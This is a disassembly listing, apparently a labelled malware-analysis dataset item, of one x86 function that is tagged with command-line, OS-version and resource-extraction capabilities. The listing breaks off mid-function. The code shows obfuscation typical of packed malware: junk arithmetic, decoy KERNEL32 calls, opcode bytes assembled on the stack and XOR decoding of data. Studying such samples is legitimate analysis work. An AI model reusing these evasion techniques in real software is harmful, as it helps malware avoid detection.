Function at 0x401100
Capabilities:
Accept command line arguments
Check os version
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov dword [ebp - 0x198], 0x5a
mov dword [ebp - 0x194], 0x4b
mov dword [ebp - 8], 0x1d
mov dword [ebp - 0x19c], 0x15
mov dword [ebp - 0x1a8], 0x18
cmp dword [0x40d020], 0x59
jl 0x401167
mov eax, dword [0x40d03c]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
add eax, dword [0x40d038]
mov dword [0x40d038], eax
mov ecx, dword [0x40d044]
sub ecx, 0x3b
mov dword [0x40d044], ecx
mov edx, dword [0x40d020]
sub edx, 0x43
mov dword [0x40d020], edx
mov eax, dword [0x40d02c]
sub eax, dword [0x40d038]
mov dword [0x40d02c], eax
mov ecx, dword [0x40d024]
sub ecx, dword [0x40d024]
mov dword [0x40d024], ecx
mov edx, dword [0x40d030]
sub edx, dword [0x40d03c]
mov dword [0x40d030], edx
mov eax, dword [0x40d038]
sub eax, dword [0x40d02c]
mov dword [0x40d038], eax
mov ecx, dword [0x40d038]
mov dword [ebp - 0x1b0], ecx
cmp dword [ebp - 0x1b0], 1
je 0x40122b
cmp dword [ebp - 0x1b0], 2
je 0x4011e3
cmp dword [ebp - 0x1b0], 3
je 0x401206
jmp 0x40124f
mov edx, dword [0x40d00c]
cmp edx, dword [ebp - 0x198]
jle 0x401201
mov eax, dword [0x40d030]
add eax, dword [0x40d02c]
mov dword [0x40d030], eax
jmp 0x4012e2
mov ecx, dword [0x40d00c]
cmp ecx, dword [ebp - 0x198]
jle 0x401226
mov edx, dword [0x40d030]
add edx, dword [0x40d02c]
mov dword [0x40d030], edx
jmp 0x4012e2
mov eax, dword [0x40d00c]
cmp eax, dword [ebp - 0x198]
jle 0x40124a
mov ecx, dword [0x40d030]
add ecx, dword [0x40d02c]
mov dword [0x40d030], ecx
jmp 0x4012e2
mov edx, dword [0x40d02c]
sub edx, dword [0x40d03c]
mov dword [0x40d02c], edx
mov eax, dword [0x40d02c]
add eax, 0x4c
mov dword [0x40d02c], eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d02c]
push edx
mov eax, dword [str.G6E____4_]
push eax
mov ecx, dword [0x40d024]
push ecx
mov edx, dword [0x40d038]
push edx
call fcn.00401050
add esp, 0x14
mov ecx, dword [str.G6E____4_]
sub ecx, eax
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d034]
add edx, 0xf
mov dword [0x40d034], edx
mov eax, dword [0x40d020]
push eax
mov ecx, dword [0x40d034]
push ecx
mov edx, dword [0x40d030]
push edx
mov eax, dword [0x40d030]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov ecx, dword [0x40d034]
push ecx
mov edx, dword [0x40d030]
push edx
mov eax, dword [0x40d034]
push eax
mov ecx, dword [0x40d03c]
push ecx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d034]
mov dword [0x40d034], eax
mov edx, dword [0x40d038]
add edx, dword [0x40d024]
mov dword [0x40d038], edx
mov eax, dword [0x40d060]
sub eax, dword [0x40d030]
mov dword [0x40d060], eax
mov ecx, dword [0x40d020]
add ecx, dword [0x40d020]
mov dword [0x40d020], ecx
mov edx, dword [0x40d024]
sub edx, 0x5e
mov dword [0x40d024], edx
mov eax, dword [0x40d038]
add eax, dword [0x40d034]
mov dword [0x40d038], eax
mov ecx, dword [str.G6E____4_]
push ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d020]
push ecx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d02c]
mov dword [0x40d02c], eax
mov edx, dword [0x40d024]
push edx
push 0xb
mov eax, dword [0x40d030]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov dword [ebp - 0x190], 0x50
mov dword [ebp - 0x18c], 0xe8
mov dword [ebp - 0x188], 0x8e
mov dword [ebp - 0x184], 0xd1
mov dword [ebp - 0x180], 2
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0x83
mov dword [ebp - 0x174], 0xf8
mov dword [ebp - 0x170], 6
mov dword [ebp - 0x16c], 0xf
mov dword [ebp - 0x168], 0x85
mov dword [ebp - 0x164], 0x53
mov dword [ebp - 0x160], 2
mov dword [ebp - 0x15c], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 0x68
mov dword [ebp - 0x150], 0xb0
mov dword [ebp - 0x14c], 0x86
mov dword [ebp - 0x148], 0x44
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0x8d
mov dword [ebp - 0x13c], 0x44
mov dword [ebp - 0x138], 0x24
mov dword [ebp - 0x134], 0x18
mov dword [ebp - 0x130], 0x50
mov dword [ebp - 0x12c], 0x8d
mov dword [ebp - 0x128], 0x8c
mov dword [ebp - 0x124], 0x24
mov dword [ebp - 0x120], 0x1c
mov dword [ebp - 0x11c], 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0x51
mov dword [ebp - 0x10c], 0xff
mov dword [ebp - 0x108], 0xd6
mov dword [ebp - 0x104], 0x50
mov dword [ebp - 0x100], 0xe8
mov dword [ebp - 0xfc], 0x77
mov dword [ebp - 0xf8], 0xba
mov dword [ebp - 0xf4], 0xff
mov dword [ebp - 0xf0], 0xff
mov dword [ebp - 0xec], 0x8b
mov dword [ebp - 0xe8], 0x3d
mov dword [ebp - 0xe4], 0x8c
mov dword [ebp - 0xe0], 0x41
mov dword [ebp - 0xdc], 0x44
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xd4], 0x83
mov dword [ebp - 0xd0], 0xc4
mov dword [ebp - 0xcc], 0x10
mov dword [ebp - 0xc8], 0x85
mov dword [ebp - 0xc4], 0xc0
mov dword [ebp - 0xc0], 0xf
mov dword [ebp - 0xbc], 0x84
mov dword [ebp - 0xb8], 0x87
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0x68
mov dword [ebp - 0xa4], 0x9c
mov dword [ebp - 0xa0], 0x86
mov dword [ebp - 0x9c], 0x44
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0x8d
mov dword [ebp - 0x90], 0x54
mov dword [ebp - 0x8c], 0x24
mov dword [ebp - 0x88], 0x18
mov dword [ebp - 0x84], 0x52
mov dword [ebp - 0x80], 0x8d
mov dword [ebp - 0x7c], 0x84
mov dword [ebp - 0x78], 0x24
mov dword [ebp - 0x74], 0x1c
mov dword [ebp - 0x70], 8
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0x50
mov dword [ebp - 0x60], 0xff
mov dword [ebp - 0x5c], 0xd6
mov dword [ebp - 0x58], 0x50
mov dword [ebp - 0x54], 0xe8
mov dword [ebp - 0x50], 0x4c
mov dword [ebp - 0x4c], 0xba
mov dword [ebp - 0x48], 0xff
mov dword [ebp - 0x44], 0xff
mov dword [ebp - 0x40], 0x83
mov dword [ebp - 0x3c], 0xc4
mov dword [ebp - 0x38], 0x10
mov dword [ebp - 0x34], 0x85
mov dword [ebp - 0x30], 0xc0
mov dword [ebp - 0x2c], 0x74
mov dword [ebp - 0x28], 0x66
mov dword [ebp - 0x24], 0x68
mov dword [ebp - 0x20], 0x7c
mov dword [ebp - 0x1c], 0x86
mov dword [ebp - 0x18], 0x44
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov ecx, dword [0x40d030]
mov dword [ebp - 0x1b4], ecx
mov edx, dword [ebp - 0x1b4]
sub edx, 1
mov dword [ebp - 0x1b4], edx
cmp dword [ebp - 0x1b4], 6
ja case.default.0x401752
mov eax, dword [ebp - 0x1b4]
jmp dword [eax*4 + 0x402f38]
mov ecx, dword [0x40d02c]
cmp ecx, dword [0x40d038]
jne 0x401795
mov edx, dword [0x40d020]
push edx
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d024]
push edx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
jmp 0x401b2a
mov eax, dword [0x40d02c]
cmp eax, dword [0x40d038]
jg 0x4017d5
mov ecx, dword [0x40d020]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d024]
push ecx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
jmp 0x401b2a
mov edx, dword [0x40d02c]
cmp edx, dword [0x40d038]
jg 0x401815
mov eax, dword [0x40d020]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d024]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov ecx, dword [str.G6E____4_]
add ecx, dword [str.G6E____4_]
mov dword [str.G6E____4_], ecx
mov edx, dword [str.G6E____4_]
sub edx, 0x62
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
add eax, dword [str.G6E____4_]
mov dword [0x40d024], eax
mov ecx, dword [0x40d030]
add ecx, 0x10
mov dword [0x40d030], ecx
jmp 0x401b2a
mov edx, dword [0x40d02c]
cmp edx, dword [0x40d038]
jg 0x401895
mov eax, dword [0x40d020]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d024]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov ecx, dword [str.G6E____4_]
add ecx, dword [str.G6E____4_]
mov dword [str.G6E____4_], ecx
mov edx, dword [str.G6E____4_]
sub edx, 0x62
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
add eax, dword [str.G6E____4_]
mov dword [0x40d024], eax
mov ecx, dword [0x40d030]
add ecx, 0x10
mov dword [0x40d030], ecx
jmp 0x401b2a
mov edx, dword [0x40d02c]
cmp edx, dword [0x40d038]
jg 0x401915
mov eax, dword [0x40d020]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d024]
push eax
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov ecx, dword [str.G6E____4_]
add ecx, dword [str.G6E____4_]
mov dword [str.G6E____4_], ecx
mov edx, dword [str.G6E____4_]
sub edx, 0x62
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d024]
add eax, dword [str.G6E____4_]
mov dword [0x40d024], eax
mov ecx, dword [0x40d030]
add ecx, 0x10
mov dword [0x40d030], ecx
mov edx, dword [str.G6E____4_]
push edx
call dword [sym.imp.KERNEL32.dll_EncodePointer]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
jmp 0x401b2a
mov eax, dword [0x40d02c]
cmp eax, dword [0x40d038]
jg 0x4019ad
mov ecx, dword [0x40d020]
push ecx
mov edx, dword [0x40d038]
push edx
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d024]
push ecx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov edx, dword [str.G6E____4_]
add edx, dword [str.G6E____4_]
mov dword [str.G6E____4_], edx
mov eax, dword [str.G6E____4_]
sub eax, 0x62
mov dword [str.G6E____4_], eax
mov ecx, dword [0x40d024]
add ecx, dword [str.G6E____4_]
mov dword [0x40d024], ecx
mov edx, dword [0x40d030]
add edx, 0x10
mov dword [0x40d030], edx
mov eax, dword [str.G6E____4_]
push eax
call dword [sym.imp.KERNEL32.dll_EncodePointer]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
jmp 0x401b2a
mov ecx, dword [0x40d02c]
cmp ecx, dword [0x40d038]
jg 0x401a45
mov edx, dword [0x40d020]
push edx
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d024]
push edx
call fcn.00401000
add esp, 0x10
add eax, dword [0x40d03c]
mov dword [0x40d03c], eax
mov eax, dword [str.G6E____4_]
add eax, dword [str.G6E____4_]
mov dword [str.G6E____4_], eax
mov ecx, dword [str.G6E____4_]
sub ecx, 0x62
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d024]
add edx, dword [str.G6E____4_]
mov dword [0x40d024], edx
mov eax, dword [0x40d030]
add eax, 0x10
mov dword [0x40d030], eax
mov ecx, dword [str.G6E____4_]
push ecx
call dword [sym.imp.KERNEL32.dll_EncodePointer]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
jmp 0x401b2a
mov edx, dword [0x40d02c]
add edx, 0x21
mov dword [0x40d02c], edx
mov eax, dword [0x40d03c]
push eax
mov ecx, dword [0x40d03c]
push ecx
mov edx, dword [0x40d030]
push edx
mov eax, dword [str.G6E____4_]
push eax
call fcn.00401000
add esp, 0x10
mov ecx, dword [0x40d030]
sub ecx, eax
mov dword [0x40d030], ecx
mov edx, dword [0x40d03c]
push edx
mov eax, dword [0x40d024]
push eax
mov ecx, dword [0x40d03c]
push ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov edx, dword [str.G6E____4_]
add edx, 0x4e
mov dword [str.G6E____4_], edx
mov eax, dword [0x40d020]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
add eax, dword [str.G6E____4_]
mov dword [str.G6E____4_], eax
mov ecx, dword [ebp - 0x194]
sub ecx, 0x49
mov dword [ebp - 0x194], ecx
mov edx, dword [0x40d020]
add edx, dword [0x40d038]
mov dword [0x40d020], edx
mov eax, dword [0x40d03c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
cmp dword [0x40d034], eax
ja 0x401b6e
mov ecx, dword [0x40d030]
add ecx, 0x27
mov dword [0x40d030], ecx
mov edx, dword [0x40d02c]
push edx
push 0x2b
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
add eax, dword [0x40d034]
mov dword [0x40d034], eax
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x198]
sub eax, dword [ebp - 0x198]
mov dword [ebp - 0x198], eax
push 0x64
mov ecx, dword [ebp - 0x198]
push ecx
push 0x1a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
add eax, dword [ebp - 0x198]
mov dword [ebp - 0x198], eax
mov edx, dword [0x40d03c]
mov dword [ebp - 0x1b8], edx
cmp dword [ebp - 0x1b8], 1
je 0x401c44
cmp dword [ebp - 0x1b8], 2
je 0x401c08
cmp dword [ebp - 0x1b8], 3
je 0x401bed
jmp 0x401c80
cmp dword [ebp - 8], 0xd
jge 0x401c03
mov eax, dword [str.G6E____4_]
add eax, dword [0x40d02c]
mov dword [str.G6E____4_], eax
jmp 0x401cb1
cmp dword [ebp - 8], 0xd
jge 0x401c20
mov ecx, dword [str.G6E____4_]
add ecx, dword [0x40d02c]
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d020]
add edx, dword [0x40d034]
mov dword [0x40d020], edx
mov eax, dword [0x40d020]
add eax, dword [0x40d038]
mov dword [0x40d020], eax
jmp 0x401cb1
cmp dword [ebp - 8], 0xd
jge 0x401c5c
mov ecx, dword [str.G6E____4_]
add ecx, dword [0x40d02c]
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d020]
add edx, dword [0x40d034]
mov dword [0x40d020], edx
mov eax, dword [0x40d020]
add eax, dword [0x40d038]
mov dword [0x40d020], eax
jmp 0x401cb1
mov ecx, dword [0x40d030]
add ecx, dword [str.G6E____4_]
mov dword [0x40d030], ecx
mov edx, dword [0x40d038]
add edx, 0x39
mov dword [0x40d038], edx
mov eax, dword [0x40d030]
sub eax, dword [0x40d034]
mov dword [0x40d030], eax
mov dword [ebp - 0x1a4], 0
mov ecx, dword [0x40d038]
add ecx, dword [0x40d024]
mov dword [0x40d038], ecx
mov dword [ebp - 0x1a0], 0
mov edx, dword [ebp - 0x194]
add edx, 0x3c
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x19c]
jne 0x401d08
mov ecx, dword [ebp - 0x1a8]
add ecx, dword [ebp - 0x194]
mov dword [ebp - 0x1a8], ecx
jmp 0x401d54
push 0x3d
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
add eax, dword [ebp - 0x19c]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x198]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x194]
push edx
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0x194]
push ecx
call fcn.00401050
add esp, 0x14
add eax, dword [ebp - 0x19c]
mov dword [ebp - 0x19c], eax
mov edx, dword [ebp - 0x19c]
sub edx, dword [ebp - 0x19c]
mov dword [ebp - 0x19c], edx
mov eax, dword [0x40d034]
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 1
je 0x401d8e
cmp dword [ebp - 0x1bc], 2
je 0x401dd1
cmp dword [ebp - 0x1bc], 3
je 0x401db0
jmp 0x401df1
mov ecx, dword [section..data]
cmp ecx, dword [ebp - 0x198]
jl 0x401dae
mov edx, dword [str.G6E____4_]
add edx, dword [0x40d034]
mov dword [str.G6E____4_], edx
jmp 0x401e12
mov eax, dword [section..data]
cmp eax, dword [ebp - 0x198]
jl 0x401dcf
mov ecx, dword [str.G6E____4_]
add ecx, dword [0x40d034]
mov dword [str.G6E____4_], ecx
jmp 0x401e12
mov edx, dword [section..data]
cmp edx, dword [ebp - 0x198]
jl 0x401def
mov eax, dword [str.G6E____4_]
add eax, dword [0x40d034]
mov dword [str.G6E____4_], eax
jmp 0x401e12
mov ecx, dword [str.G6E____4_]
add ecx, 0x22
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d038]
sub edx, dword [0x40d034]
mov dword [0x40d038], edx
mov eax, dword [ebp - 0x198]
sub eax, 0x30
mov dword [ebp - 0x198], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, dword [ebp - 0x194]
mov dword [ebp - 0x194], eax
mov ecx, dword [0x40d064]
imul ecx, dword [ebp - 0x19c]
mov dword [0x40d064], ecx
mov edx, dword [0x40d034]
push edx
mov eax, dword [0x40d034]
push eax
mov ecx, dword [str.G6E____4_]
push ecx
mov edx, dword [0x40d02c]
push edx
mov eax, dword [0x40d038]
push eax
call fcn.00401050
add esp, 0x14
mov ecx, dword [0x40d024]
sub ecx, eax
mov dword [0x40d024], ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0x198]
push ecx
mov edx, dword [ebp - 0x198]
push edx
call fcn.00401000
add esp, 0x10
mov ecx, dword [ebp - 0x194]
sub ecx, eax
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 0x198]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x194]
push eax
call fcn.00401050
add esp, 0x14
mov ecx, dword [ebp - 8]
sub ecx, eax
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0xc]
mov al, byte [edx + 0x425110]
mov byte [ebp - 0xd], al
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x1c0]
sub edx, 1
mov dword [ebp - 0x1c0], edx
cmp dword [ebp - 0x1c0], 6
ja case.default.0x401f19
mov eax, dword [ebp - 0x1c0]
jmp dword [eax*4 + 0x402f54]
mov ecx, dword [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x19c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x401f52
mov edx, dword [ebp - 0x1a8]
sub edx, 0x4e
mov dword [ebp - 0x1a8], edx
jmp 0x40229a
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x401f89
mov ecx, dword [ebp - 0x1a8]
sub ecx, 0x4e
mov dword [ebp - 0x1a8], ecx
jmp 0x40229a
mov edx, dword [ebp - 0x1a8]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x19c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x401fc0
mov eax, dword [ebp - 0x1a8]
sub eax, 0x4e
mov dword [ebp - 0x1a8], eax
push 0x31
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov ecx, dword [ebp - 0x194]
sub ecx, eax
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 8]
sub edx, 0xf
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x19c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x198]
add ecx, dword [ebp - 0x198]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x1a8]
sub edx, 0x45
mov dword [ebp - 0x1a8], edx
jmp 0x40229a
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x402046
mov ecx, dword [ebp - 0x1a8]
sub ecx, 0x4e
mov dword [ebp - 0x1a8], ecx
push 0x31
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov edx, dword [ebp - 0x194]
sub edx, eax
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 8]
sub eax, 0xf
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x19c]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x198]
add edx, dword [ebp - 0x198]
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x1a8]
sub eax, 0x45
mov dword [ebp - 0x1a8], eax
jmp 0x40229a
mov ecx, dword [ebp - 0x1a8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x19c]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x4020cc
mov edx, dword [ebp - 0x1a8]
sub edx, 0x4e
mov dword [ebp - 0x1a8], edx
push 0x31
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov ecx, dword [ebp - 0x194]
sub ecx, eax
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 8]
sub edx, 0xf
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x19c]
add eax, dword [ebp - 8]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x198]
add ecx, dword [ebp - 0x198]
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x1a8]
sub edx, 0x45
mov dword [ebp - 0x1a8], edx
jmp 0x40229a
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x402152
mov ecx, dword [ebp - 0x1a8]
sub ecx, 0x4e
mov dword [ebp - 0x1a8], ecx
push 0x31
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov edx, dword [ebp - 0x194]
sub edx, eax
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 8]
sub eax, 0xf
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x19c]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x198]
add edx, dword [ebp - 0x198]
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x1a8]
sub eax, 0x45
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x198]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401000
add esp, 0x10
mov edx, dword [ebp - 8]
sub edx, eax
mov dword [ebp - 8], edx
jmp 0x40229a
mov eax, dword [ebp - 0x1a8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x19c]
push edx
mov eax, dword [ebp - 8]
push eax
call fcn.00401000
add esp, 0x10
cmp eax, 0x16
jle 0x4021fb
mov ecx, dword [ebp - 0x1a8]
sub ecx, 0x4e
mov dword [ebp - 0x1a8], ecx
push 0x31
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
mov edx, dword [ebp - 0x194]
sub edx, eax
mov dword [ebp - 0x194], edx
mov eax, dword [ebp - 8]
sub eax, 0xf
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x19c]
add ecx, dword [ebp - 8]
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x198]
add edx, dword [ebp - 0x198]
mov dword [ebp - 0x198], edx
mov eax, dword [ebp - 0x1a8]
sub eax, 0x45
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x198]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401000
add esp, 0x10
mov edx, dword [ebp - 8]
sub edx, eax
mov dword [ebp - 8], edx
jmp 0x40229a
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x198]
mov dword [ebp - 0x194], eax
mov ecx, dword [ebp - 0x1a8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
add eax, dword [ebp - 0x19c]
mov dword [ebp - 0x19c], eax
mov edx, dword [0x40d020]
sub edx, dword [0x40d034]
mov dword [0x40d020], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0x1a0], eax
mov ecx, dword [str.G6E____4_]
sub ecx, dword [0x40d030]
mov dword [str.G6E____4_], ecx
cmp dword [0x40d034], 0x15
jle 0x4022ee
mov edx, dword [0x40d020]
push edx
call dword [sym.imp.KERNEL32.dll_PulseEvent]
mov ecx, dword [0x40d034]
sub ecx, eax
mov dword [0x40d034], ecx
mov edx, dword [0x40d02c]
add edx, 0x16
mov dword [0x40d02c], edx
mov eax, dword [0x40d02c]
add eax, dword [0x40d024]
mov dword [0x40d02c], eax
mov ecx, dword [0x40d034]
push ecx
mov edx, dword [0x40d034]
push edx
mov eax, dword [0x40d024]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d038]
push edx
call fcn.00401050
add esp, 0x14
mov ecx, dword [0x40d02c]
sub ecx, eax
mov dword [0x40d02c], ecx
mov edx, dword [0x40d03c]
push edx
mov eax, dword [str.G6E____4_]
push eax
mov ecx, dword [0x40d030]
push ecx
mov edx, dword [0x40d034]
push edx
call fcn.00401000
add esp, 0x10
mov ecx, dword [str.G6E____4_]
sub ecx, eax
mov dword [str.G6E____4_], ecx
mov edx, dword [0x40d03c]
mov dword [ebp - 0x1c4], edx
mov eax, dword [ebp - 0x1c4]
sub eax, 1
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 3
ja case.default.0x4023a4
mov ecx, dword [ebp - 0x1c4]
jmp dword [ecx*4 + 0x402f70]
cmp dword [ebp - 0x198], 0x49
jg 0x4023c6
mov edx, dword [0x40d038]
add edx, dword [0x40d03c]
mov dword [0x40d038], edx
jmp 0x402465
cmp dword [ebp - 0x198], 0x49
jg 0x4023e4
mov eax, dword [0x40d038]
add eax, dword [0x40d03c]
mov dword [0x40d038], eax
jmp 0x402465
cmp dword [ebp - 0x198], 0x49
jg 0x402401
mov ecx, dword [0x40d038]
add ecx, dword [0x40d03c]
mov dword [0x40d038], ecx
jmp 0x402465
cmp dword [ebp - 0x198], 0x49
jg 0x40241e
mov edx, dword [0x40d038]
add edx, dword [0x40d03c]
mov dword [0x40d038], edx
jmp 0x402465
mov eax, dword [str.G6E____4_]
push eax
mov ecx, dword [0x40d038]
push ecx
mov edx, dword [0x40d024]
push edx
mov eax, dword [0x40d020]
push eax
mov ecx, dword [0x40d020]
push ecx
call fcn.00401050
add esp, 0x14
add eax, dword [0x40d034]
mov dword [0x40d034], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
add eax, dword [0x40d024]
mov dword [0x40d024], eax
mov edx, dword [ebp - 0x1a0]
xor edx, dword [0x42510c]
mov dword [ebp - 0x1a4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x19c]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x19c]
add ecx, 0x64
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 8]
or edx, 0x20
and edx, dword [0x40d058]
mov dword [0x40d058], edx
mov eax, dword [0x40d030]
sub eax, dword [0x40d02c]
mov dword [0x40d030], eax
movsx ecx, byte [ebp - 0xd]
add ecx, dword [ebp - 0x1a4]
add ecx, dword [ebp - 0x1a4]
mov edx, dword [ebp - 0xc]
mov byte [edx + 0x302c940], cl
mov eax, dword [0x40d038]
push eax
mov ecx, dword [0x40d02c]
push ecx
mov edx, dword [str.G6E____4_]
push edx
mov eax, dword [0x40d03c]
push eax
mov ecx, dword [0x40d024]
push ecx
call fcn.00401050
add esp, 0x14
mov edx, dword [0x40d020]
sub edx, eax
mov dword [0x40d020], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov ecx, dword [str.G6E____4_]
sub ecx, eax
